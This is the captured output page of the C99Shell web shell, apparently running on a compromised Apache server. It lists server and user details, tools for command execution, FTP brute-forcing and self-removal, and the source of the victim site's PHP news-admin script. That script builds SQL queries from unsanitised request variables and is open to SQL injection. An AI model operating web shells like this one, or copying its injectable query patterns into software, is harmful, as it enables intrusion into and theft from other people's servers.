!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/home/mnnews/public_html/mina/test/admin/   drwxr-xr-x
Free 3.9 GB of 27.03 GB (14.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addingSpooledNews.inc.php3 (3.23 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?


  
if(checkSuperSession($superSession, $REMOTE_ADDR))


    {


      include(
"include/rootGui.inc.php3");


      


      require(
"$mysqlCall");








      
$userId = getUserSUId($superSession);


      
$userInfo = getUserInfo($userId);


      


      if((
$userInfo[SuperUser] == 1) && ($userInfo[manageNewsSpool] == 1) && ($userInfo[active]==1))


    {


      


      
$query = "SELECT * FROM $spooledNews WHERE ID=$spooledNewsId";


      


      
$mysql_result = mysql_query($query, $mysql_link);


      


      


      if(
$row = mysql_fetch_row($mysql_result))


        {


          


          
$item_ID =    $row[0];


          
$item_title =     $row[1];


          
$item_details =   $row[2];


          
$item_date =      $row[3];


          
$userId =         $row[4];


          
$topicId =         $row[5];

             
$item_slag =         $row[6];
             
$item_imageID =         $row[7];

        





          
printf("Unosim informaciju");


          
$item_details = eregi_replace("'","\'",$details);


          
//$details = eregi_replace("\"","\\\"",$details);


          





          
print("


$item_ID ,        


$item_title ,     


      $item_details ,       


          
$item_slag ,

      userId = $userId     "
);        


      


          if(
$edit)


        {


          
$insert = "insert into $news values('', '$title_edit', '$details_edit', '$item_date', '$topicId', '$userId', '$item_slag','$item_imageID')";


          print(
"<br><br>Unijeto<br><br>");


        }


          else


        {


          
$insert = "insert into $news values('', '$item_title', '$item_details', '$item_date', '$topicId', '$userId', '$item_slag','$item_imageID')";


        }


          


          print
"<br>";


          
$result = MYSQL_QUERY($insert);        


          if(
$result)


        {print(
"Unosim");}


          else


        {


          print(
"Doslo je do greske u unosu<br>");


          
$noAdd = 1;


        }


          


      


          if(!isset(
$noAdd))


        {


          
$query =  "SELECT * FROM $spooledNews WHERE(ID LIKE '%$spooledNewsId%')";


          


          
$insert = MYSQL_QUERY($query);


          


          
$ID = mysql_result($insert,$i, "ID");


          


          


          
$result = MYSQL_QUERY($insert);


          
$query = "DELETE FROM $spooledNews WHERE(ID=$spooledNewsId)";


          
$insert = MYSQL_QUERY($query);


          


          if(
$insert)


            {  


              print(
"Obrisano iz medjubaze.");


            }


        }


          else


        {


          print(
"Doslo je do greske prilikom prenosa informacije. Informacija nije obrisana <br>");


        }








          
/*   print "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=index.php3?mode=listNews&superSession=$superSession\">"; */


          


          
$noItems=0;        


          


        }


      


      else


        {


          


          print(
"Doslo je do greske");


          


        }


      


      


    }


      else


    {


      print(
"Nemate pristup ovoj funkciji");


    }


      include(
"include/guiBase.inc.php3");


    }


  else


    {


      
//session is bad


      
print("Pogresna sesija ID ($superSesion)!<BR>\n");


      
$superSession = "";


    }


?>


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0031 ]--